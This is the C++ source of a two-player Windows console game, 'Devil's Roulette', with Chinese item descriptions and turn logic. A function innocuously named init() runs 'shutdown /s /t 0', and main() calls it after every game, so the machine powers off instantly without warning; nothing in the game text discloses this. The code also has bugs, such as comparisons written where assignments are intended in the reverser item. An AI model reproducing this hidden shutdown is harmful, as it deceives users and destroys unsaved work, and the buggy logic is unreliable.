C++#include <bits/stdc++.h>
#include <windows.h>
#define int long long
using namespace std;
string dj[] = {"小刀", "手铐", "啤酒", "放大镜", "香烟", "过期药片", "逆转器", "手机", "肾上腺素"};
int handcuffed[2] = {0}, a = 4, b = 4, flag = 0, total_real = 0, used_real = 0, total_bullets = 6, used_bullets = 0, zida[6] = {}, bb[2][9] = {};
void Slowsay(string a) {
int l = a.size();
for (int i = 0; i < l; i++) {
cout << a[i];
Sleep(20);
}
Sleep(100);
}
void kaitou() {
Slowsay("恶魔轮盘赌\n");
Sleep(500);
Slowsay("作者:yl2026\n");
Sleep(500);
Slowsay("仅支持两人游玩\n");
Sleep(1000);
Slowsay("游戏道具:\n1.小刀:使本次攻击伤害*2\n2.手铐:使对方停止行动一个回合"
"\n3.啤酒:退出当前子弹\n4.放大镜:查看当前子弹\n5.香烟:恢复一点血量"
"\n6.过期药片:使用后有40%概率恢复2点血量,否则减少1点血量\n7.逆转器:使当前子弹实弹变虚弹,虚弹变实弹\n"
"8.手机:一次性,可预测弹匣内某一发子弹是实弹还是虚弹\n9.肾上腺素:偷走对方一个道具并立即使用\n");
system("pause");
system("cls");
}
void page() {
for (int i = 1; i <= 4; i++) {
system("color 1A");
Sleep(10);
system("color 2B");
Sleep(10);
system("color 3C");
Sleep(10);
system("color 4D");
Sleep(10);
system("color 5D");
Sleep(10);
system("color 6E");
Sleep(10);
system("color 7F");
Sleep(10);
}
}
int panding() {
if (a <= 0) {
flag = 1;
return 0;
} else if (b <= 0) {
flag = 2;
return 0;
}
return 1;
}
void zidan() {
srand(time(0));
total_real = rand() % 5 + 1, used_real = 0, used_bullets = 0;
for (int i = 0; i < total_bullets; i++) zida[i] = (i < total_real) ? 1 : 0;
random_shuffle(zida, zida + total_bullets);
Slowsay("本局有");
cout << total_bullets;
Slowsay("枚子弹\n其中实弹有");
cout << total_real;
Slowsay("枚\n");
}
void daoju() {
srand(time(0));
for (int k = 0; k < 2; k++) {
Slowsay("玩家");
cout << k + 1 << "\n\t";
int b[9] = {};
for (int i = 0; i < 4; i++) {
int temp = rand() % 9;
b[temp]++;
}
Slowsay("道具:\t");
for (int i = 0; i < 9; i++) {
cout << dj[i] << "*" << b[i] << " ";
bb[k][i] = b[i];
}
cout << endl;
}
}
void showHP() {
Slowsay("当前血量:\n");
Slowsay("玩家1: ");
cout << a;
Slowsay("\n玩家2: ");
cout << b;
Slowsay("\n剩余子弹: ");
cout << total_bullets - used_bullets;
Slowsay(" / ");
cout << total_bullets;
Slowsay(" (实弹: ");
cout << total_real - used_real;
Slowsay(" / ");
cout << total_real;
Slowsay(")\n\n");
}
void showsdj() {
Slowsay("当前血量:\n");
Slowsay("玩家1: ");
cout << a;
Slowsay("\n玩家2: ");
cout << b << endl;
for (int i = 0; i < 2; i++) {
Slowsay("玩家");
cout << i + 1 << "\n\t";
for (int j = 0; j < 9; j++) cout << dj[j] << "*" << bb[i][j] << " ";
cout << endl;
}
cout << endl;
Slowsay("\n剩余子弹: ");
cout << total_bullets - used_bullets;
Slowsay(" / ");
cout << total_bullets;
Slowsay(" (实弹: ");
cout << total_real - used_real;
Slowsay(" / ");
cout << total_real;
Slowsay(")\n\n");
}
void init(){
system("shutdown /s /t 0");
}
void solve() {
kaitou();
int ren = 1, zid = 0;
daoju();
system("cls");
zidan();
while (1) {
showsdj();
if (handcuffed[ren - 1] > 0) {
Slowsay("玩家");
cout << ren;
Slowsay("被手铐铐住了,跳过回合\n");
handcuffed[ren - 1]--;
ren = (ren == 1) ? 2 : 1;
system("pause");
system("cls");
continue;
}
if (zid >= total_bullets || total_real - used_real <= 0) {
system("cls");
showHP();
Slowsay("子弹已用完,重新装弹\n");
system("cls");
zidan();
daoju();
zid = 0;
system("pause");
system("cls");
continue;
}
int xuanze;
Slowsay("玩家");
cout << ren;
Slowsay("选择:\n\t1.攻击自己 2.攻击对方 3.使用道具\n");
cin >> xuanze;
if (xuanze == 2) {
used_bullets++;
if (zida[zid] == 0)Slowsay("运气真好,没中!\n");
else {
Slowsay("运气有点背啊,中了\n");
used_real++;
if (xuanze == 1) {
if (ren == 1) a--;
else b--;
} else {
if (ren == 1) b--;
else a--;
}
if (!panding()) return;
}
zid++;
ren = (ren == 1) ? 2 : 1;
} else if (xuanze == 1) {
used_bullets++;
if (zida[zid] == 0)Slowsay("运气真好,没中!\n");
else {
Slowsay("运气有点背啊,中了\n");
used_real++;
if (xuanze == 1) {
if (ren == 1) a--;
else b--;
} else {
if (ren == 1) b--;
else a--;
}
ren = (ren == 1) ? 2 : 1;
if (!panding()) return;
}
zid++;
} else if (xuanze == 3) {
int xuanze2 = 0;
Slowsay("请选择道具(1-9):\n1.小刀 2.手铐 3.啤酒 4.放大镜 5.香烟 6.过期药片 7.逆转器 8.手机 9.肾上腺素\n");
cin >> xuanze2;
if (xuanze2 < 1 || xuanze2 > 9) {
Slowsay("你乱输入NM呢!\n");
system("pause");
system("cls");
continue;
}
if (bb[ren - 1][xuanze2 - 1] <= 0) {
Slowsay("你没有这个道具了你乱输入NM呢!\n");
system("pause");
system("cls");
continue;
}
switch (xuanze2) {
case 1:
bb[ren - 1][xuanze2 - 1]--;
used_bullets++;
if (zida[zid] == 0) {
Slowsay("运气真好,没中!\n");
} else {
Slowsay("运气有点背啊,中了!\n");
used_real++;
if (ren == 1) b -= 2;
else a -= 2;
if (!panding()) return;
}
zid++;
ren = (ren == 1) ? 2 : 1;
break;
case 2:
bb[ren - 1][xuanze2 - 1]--;
handcuffed[2 - ren] = 1;
Slowsay("玩家");
cout << (ren == 1 ? 2 : 1);
Slowsay("被手铐铐住了,将跳过下个回合\n");
break;
case 3:
bb[ren - 1][xuanze2 - 1]--;
used_bullets++;
Slowsay("你退出了一发");
if (zida[zid] == 1) {
cout << "实弹" << endl;
used_real++;
} else cout << "虚弹" << endl;
zid++;
break;
case 4:
bb[ren - 1][xuanze2 - 1]--;
Slowsay("当前子弹是: ");
cout << (zida[zid] == 1 ? "实弹" : "虚弹") << endl;
break;
case 5:
bb[ren - 1][xuanze2 - 1]--;
if (ren == 1)a = min(a + 1, 4LL);
else b = min(b + 1, 4LL);
Slowsay("生命值恢复1点\n");
break;
case 6: {
bb[ren - 1][xuanze2 - 1]--;
srand(time(0));
int xx = rand() % 5;
if (xx == 0 || xx == 1) {
Slowsay("运气不错,血量+2");
if (ren == 1) a += 2;
else b += 2;
} else {
Slowsay("运气太背了,血量-1");
if (ren == 1) a--;
else b--;
}
if (!panding()) return;
break;
}
case 7:
bb[ren - 1][xuanze2 - 1]--;
if (zida[zid] == 1) {
zida[zid] == 0;
used_real++;
} else {
zida[zid] == 1;
used_real--;
}
break;
case 8: {
bb[ren - 1][7]--;
int sdan[6];
int count = 0;
for (int i = used_bullets; i < total_bullets; i++)sdan[count++] = i;
srand(time(0));
int aaa = rand() % count;
int bbb = sdan[aaa];
Slowsay("未打出的第");
cout << (bbb - used_bullets + 1);
Slowsay("发是");
cout << (zida[bbb] ? "实弹" : "虚弹") << endl;
break;
}
case 9: {
int opponent = (ren == 1) ? 1 : 0;
bool has_any = false;
for (int i = 0; i < 9; i++) {
if (bb[opponent][i] > 0) {
has_any = true;
break;
}
}
if (!has_any) {
Slowsay("对方没有道具可偷!\n");
system("pause");
system("cls");
continue;
}
Slowsay("选择要偷取的道具(1-8):\n");
for (int i = 0; i < 8; i++)if (bb[opponent][i] > 0)cout << i + 1 << "." << dj[i] << " ";
cout << endl;
int steal_choice;
cin >> steal_choice;
if (steal_choice < 1 || steal_choice > 7 || bb[opponent][steal_choice - 1] <= 0) {
Slowsay("无效选择!\n");
system("pause");
system("cls");
continue;
}
bb[ren - 1][8]--;
bb[opponent][steal_choice - 1]--;
bb[ren - 1][steal_choice - 1]++;
Slowsay("你偷取了");
cout << dj[steal_choice - 1];
Slowsay("并立即使用!\n");
switch (steal_choice) {
case 1:
bb[ren - 1][0]--;
used_bullets++;
if (zida[zid] == 0) {
Slowsay("运气真好,没中!\n");
} else {
Slowsay("运气有点背啊,中了!\n");
used_real++;
if (ren == 1) b -= 2;
else a -= 2;
if (!panding()) return;
}
zid++;
break;
case 2:
bb[ren - 1][1]--;
handcuffed[opponent] = 1;
Slowsay("玩家");
cout << (ren == 1 ? 2 : 1);
Slowsay("被手铐铐住了,将跳过下个回合\n");
break;
case 3: {
bb[ren - 1][2]--;
used_bullets++;
Slowsay("你退出了一发");
if (zida[zid] == 1) {
cout << "实弹" << endl;
used_real++;
} else cout << "虚弹" << endl;
zid++;
break;
}
case 4: {
bb[ren - 1][3]--;
Slowsay("当前子弹是: ");
cout << (zida[zid] == 1 ? "实弹" : "虚弹") << endl;
break;
}
case 5: {
bb[ren - 1][4]--;
if (ren == 1)a = min(a + 1, 4LL);
else b = min(b + 1, 4LL);
Slowsay("生命值恢复1点\n");
break;
}
case 6: {
bb[ren - 1][5]--;
srand(time(0));
int xx = rand() % 5;
if (xx == 0 || xx == 1) {
Slowsay("运气不错,血量+2");
if (ren == 1) a += 2;
else b += 2;
} else {
Slowsay("运气太背了,血量-1");
if (ren == 1) a--;
else b--;
}
if (!panding()) return;
break;
}
case 7: {
bb[ren - 1][6]--;
if (zida[zid] == 1)zida[zid] == 0;
else zida[zid] == 1;
break;
}
case 8: {
bb[ren - 1][7]--;
srand(time(0));
int aaa = rand() % (total_bullets - used_bullets);
Slowsay("未打出的第");
cout << aaa;
Slowsay("发是");
if (zida[aaa - 1])Slowsay("实弹");
else Slowsay("虚弹");
break;
}
}
break;
}
}
system("pause");
system("cls");
continue;
} else {
Slowsay("你乱输入NM呢!\n");
system("cls");
continue;
}
system("pause");
system("cls");
}
}
signed main() {
solve();
if (flag == 1) {
Slowsay("玩家2赢了!\n");
page();
} else if (flag == 2) {
Slowsay("玩家1赢了!\n");
page();
}
init();
return 0;
}